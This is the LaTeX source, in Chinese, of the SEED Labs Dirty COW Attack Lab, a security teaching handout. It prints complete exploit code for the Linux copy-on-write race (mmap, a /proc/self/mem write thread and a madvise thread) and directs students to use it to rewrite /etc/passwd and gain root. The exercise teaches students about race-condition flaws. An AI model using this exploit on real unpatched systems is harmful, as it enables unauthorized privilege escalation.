```
%%  Copyright by Wenliang Du.                                       %%
%%  This work is licensed under the Creative Commons                %%
%%  Attribution-NonCommercial-ShareAlike 4.0 International License. %%
%%  To view a copy of this license, visit                           %%
%%  http://creativecommons.org/licenses/by-nc-sa/4.0/.              %%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%

\newcommand{\commonfolder}{../../common-files}

\input{\commonfolder/header}
\input{\commonfolder/copyright}


\newcommand{\cowFigs}{./Figs}

\lhead{\bfseries SEED Labs -- Dirty COW Attack Lab}


\begin{document}

\begin{center}
{\LARGE Dirty COW Attack Lab}
\end{center}

\seedlabcopyright{2017}

% *******************************************
% SECTION
% ******************************************* 
\section{概述}

Dirty COW 漏洞是一个有趣的竞态条件漏洞案例。该漏洞自 2007 年 9 月起存在于 Linux 内核中，并于 2016 年 10 月被发现并利用。此漏洞影响所有基于 Linux 的操作系统，包括 Android，在其后果极为严重：攻击者可以通过利用此漏洞获得 root 权限。该漏洞存在于 Linux 内核中的 copy-on-write 代码中。通过利用此漏洞，攻击者可以修改任何受保护的文件，即使这些文件对他们来说只能读取。

本实验的目标是让学生亲身体验 Dirty COW 攻击、理解此攻击所利用的竞争条件漏洞，并对竞态条件安全问题有更深入的理解。在此次实验中，学生将利用 Dirty COW 竞争条件漏洞获得 root 权限。


\paragraph{阅读材料和视频。}
关于 Dirty COW 攻击的详细内容可以在以下资料中找到：

\begin{itemize}
\item 《SEED Book》中的第8章，《seedbook》
\item Udemy 上 SEED 讲座的第7节，《seedcsvideo》
\end{itemize}

\paragraph{实验环境。} 此实验已在我们的预构建 Ubuntu 12.04 虚拟机上进行了测试，可以从 SEED 网站下载。如果你使用的是我们提供的 SEEDUbuntu 16.04 虚拟机，则此攻击将无法工作，因为内核中已修复了该漏洞。
你可以从 SEED 网站下载 SEEDUbuntu12.04 虚拟机。如果你有 Amazon EC2 账户，可以在“社区 AMIs”中找到我们的虚拟机，“SEEDUbuntu12.04-Generic”。需要注意的是，亚马逊官网说这是一个 64 位虚拟机；这是错误的，该 VM 是 32 位的。不过这种不正确的信息不会导致任何问题。

% *******************************************
\section{任务 1：修改一个假的只读文件}

本任务的目标是利用 Dirty COW 漏洞对一个只读文件进行写操作。


\subsection{创建一个虚拟文件}

首先，我们需要选择目标文件。尽管该文件可以是系统中的任意只读文件，但我们将在本任务中使用一个虚拟文件，这样就不会不小心破坏重要的系统文件。请在根目录下创建名为 \texttt{zzz} 的文件，将其权限设置为普通用户只能读取，并使用如 \texttt{gedit} 等编辑器向其中输入一些随机内容。

\begin{lstlisting}
$ sudo touch /zzz
$ sudo chmod 644 /zzz
$ sudo gedit /zzz
$ cat /zzz
111111222222333333
$ ls -l /zzz
-rw-r--r-- 1 root root 19 Oct 18 22:03 /zzz
$ echo 99999 > /zzz
bash: /zzz: (*@\texttt{Permission denied}@*)
\end{lstlisting}

从上述实验中可以看出，如果我们尝试作为普通用户对该文件进行写操作会失败，因为该文件对普通用户只读。然而，由于系统中的 Dirty COW 漏洞，我们可以通过某种方式对该文件进行写操作。我们的目标是将模式 \texttt{"222222"} 替换为 \texttt{"******"}。

\subsection{设置内存映射线程}

可以从实验网站下载程序 \texttt{cow_attack.c}。该程序有三个线程：主线程、写线程和 madvise 线程。
主线程将 \texttt{/zzz} 映射到内存中，查找模式 \texttt{"222222"} 的位置，然后创建两个线程来利用操作系统内核中的 Dirty COW 竞争条件漏洞。

\begin{lstlisting}[caption={主线程},
                   label=cow:code:cow_attack:main]
/* cow_attack.c  (主线程) */

#include <sys/mman.h>
#include <fcntl.h>
#include <pthread.h>
#include <sys/stat.h>
#include <string.h>

void *map;

int main(int argc, char *argv[])
{
  pthread_t pth1,pth2;
  struct stat st;
  int file_size;

  // 以只读模式打开目标文件。
  int f=open("/zzz", O_RDONLY);

  // 使用 MAP_PRIVATE 将文件映射到 COW 内存中。
  fstat(f, &st);
  file_size = st.st_size;
  map=mmap(NULL, file_size, PROT_READ, MAP_PRIVATE, f, 0);

  // 查找目标区域的位置
  char *position = strstr(map, "222222");                         (*@\ding{192}@*)

  // 我们需要用两个线程来做攻击。
  pthread_create(&pth1, NULL, madviseThread, (void *)file_size);   (*@\ding{193}@*)
  pthread_create(&pth2, NULL, writeThread, position);             (*@\ding{194}@*)

  // 等待线程完成。
  pthread_join(pth1, NULL);
  pthread_join(pth2, NULL);
  return 0;
}

\end{lstlisting}

在上述代码中，我们需要找到模式 \texttt{"222222"} 的位置。我们使用一个名为 \texttt{strstr()} 的字符串函数来查找映射内存中的模式 \texttt{"222222"}（行~\ding{192}）。然后启动两个线程：\texttt{madviseThread}（行~\ding{193}）和 \texttt{writeThread}（行~\ding{194})。

% -------------------------------------------
% SUBSECTION
% -------------------------------------------
\subsection{设置写线程}

以下写线程的目的是将内存中的字符串 \texttt{"222222"} 替换为 \texttt{"******"}。由于映射的内存是 COW 类型，这个线程单独运行只能修改内存副本的内容，不会对底层 \texttt{/zzz} 文件产生任何影响。

\begin{lstlisting}[caption={写线程},
                   label=cow:code:cow_attack:write]
/* cow_attack.c (写线程) */

void *writeThread(void *arg)
{
  char *content= "******";
  off_t offset = (off_t) arg;

  int f=open("/proc/self/mem", O_RDWR);
  while(1) {
    // 将文件指针移动到相应的位置。
    lseek(f, offset, SEEK_SET);
    // 写入内存。
    write(f, content, strlen(content));
  }
}
\end{lstlisting}

\subsection{\texttt{madvise} 线程}

\texttt{madvise} 线程只做一件事：丢弃映射内存的私有副本，使得页表可以指向原始映射内存。

\begin{lstlisting}[caption={\texttt{madvise} 线程},
                   label=cow:code:cow_attack:madvise]
/* cow_attack.c (madvise 线程) */

void *madviseThread(void *arg)
{
  int file_size = (int) arg;
  while(1){
      madvise(map, file_size, MADV_DONTNEED);
  }
}
\end{lstlisting}

\subsection{发起攻击}

如果 \texttt{write()} 和 \texttt{madvise()} 系统调用交替被调用，即一个系统调用只在另一个完成之后调用，则写操作将总是发生在内存副本上，我们无法修改目标文件。唯一的成功途径是当 \texttt{write()} 系统调用仍在运行时调用 \texttt{madvise()} 系统调用。我们无法每次都做到这一点，因此需要尝试多次。只要概率不是非常低，我们就有可能成功。这就是为什么在这些线程中，我们需要在一个无限循环中反复执行这两个系统调用。编译 \texttt{cow_attack.c} 并运行它几秒钟。如果攻击成功，你应该能够看到一个修改后的 \texttt{/zzz} 文件。在实验报告中报告你的结果并解释你是如何实现的。

\begin{lstlisting}
$ gcc cow_attack.c -lpthread
$ a.out
  ... 按 Ctrl-C 几秒后 ...
\end{lstlisting}

\section{任务 2：修改密码文件以获取 root 权限} 

现在，让我们对一个真实系统文件发起攻击，以便获得 root 权限。我们选择 \texttt{/etc/passwd} 文件作为目标文件。此文件可由任何人读取，但非 root 用户不能对其进行修改。该文件包含用户账号信息，每个用户一行记录。假设我们的用户名是 \texttt{seed} 。以下行显示了 root 和 \texttt{seed} 的记录：

\begin{lstlisting}
root:x:0:0:root:/root:/bin/bash
seed:x:1000:1000:Seed,123,,:/home/seed:/bin/bash
\end{lstlisting}

上述每个记录包含七个用冒号分隔的字段。我们关注的是第三个字段，它指定了为用户分配的用户 ID（UID）值。UID 是 Linux 中访问控制的主要依据，因此这个值对安全至关重要。root 用户的 UID 字段包含一个特殊值 0；这就是使其成为超级用户的原因，而不是用户名。任何具有 UID \texttt{0} 的用户都会被视为 root 用户，无论其实际用户名是什么。
\texttt{seed} 用户的 ID 只是 \texttt{1000} ，因此它没有 root 权限。然而，如果我们能将其改为 \texttt{0} ，就可以将它变成 root。我们将利用 Dirty COW 漏洞实现这一目标。

在我们的实验中，我们不会使用 \texttt{seed} 账户，因为本书中的大多数实验都用到了这个账户；如果我们在实验后忘记将其 UID 还原，则会干扰其他实验。相反，我们创建了一个新的帐户叫做 \texttt{charlie} ，并将此普通用户变成 root 用户来利用 Dirty COW 攻击。
可以使用 \texttt{adduser} 命令添加新账户。在账户被创建后，\texttt{/etc/passwd} 文件中将添加一条新的记录。如下所示：

\begin{lstlisting}
$ sudo adduser charlie
  ...
$ cat /etc/passwd | grep charlie
charlie:x:1001:1001:,,,:/home/charlie:/bin/bash
\end{lstlisting}

我们建议你在修改 \texttt{/etc/passwd} 文件之前保存一份副本，以防万一不小心破坏了文件。另一种选择是在开始本实验前对虚拟机进行快照处理，以便如果 VM 被破坏可以随时回滚。

\paragraph{任务：}你需要修改 \texttt{/etc/passwd} 中的 \texttt{charlie} 的记录，使第三字段从 \texttt{1001} 更改为 \texttt{0000} ，实际上将 \texttt{charlie} 转变为 root 账户。文件对 \texttt{charlie}{\ }不可写，但我们可以利用 Dirty COW 攻击对该文件进行修改。你可以修改 Task 1 中的 \texttt{cow_attack.c} 程序来实现这个目标。

在你的攻击成功后，如果你切换用户到 \texttt{charlie} ，你应该会在命令行提示符中看到 \texttt{\#} 符号，这是 root shell 的标志。运行 \texttt{id} 命令时，你应能确认获得了 root 权限。

\begin{lstlisting}
seed@ubuntu$ su charlie
Passwd: 
root@ubuntu# id
(*@\textbf{uid=0(root)}@*) gid=1001(charlie) groups=0(root),1001(charlie)
\end{lstlisting}

% *******************************************
% SECTION
% ******************************************* 
\section{提交}

%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
\input{\commonfolder/submission}
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%

\end{document}
```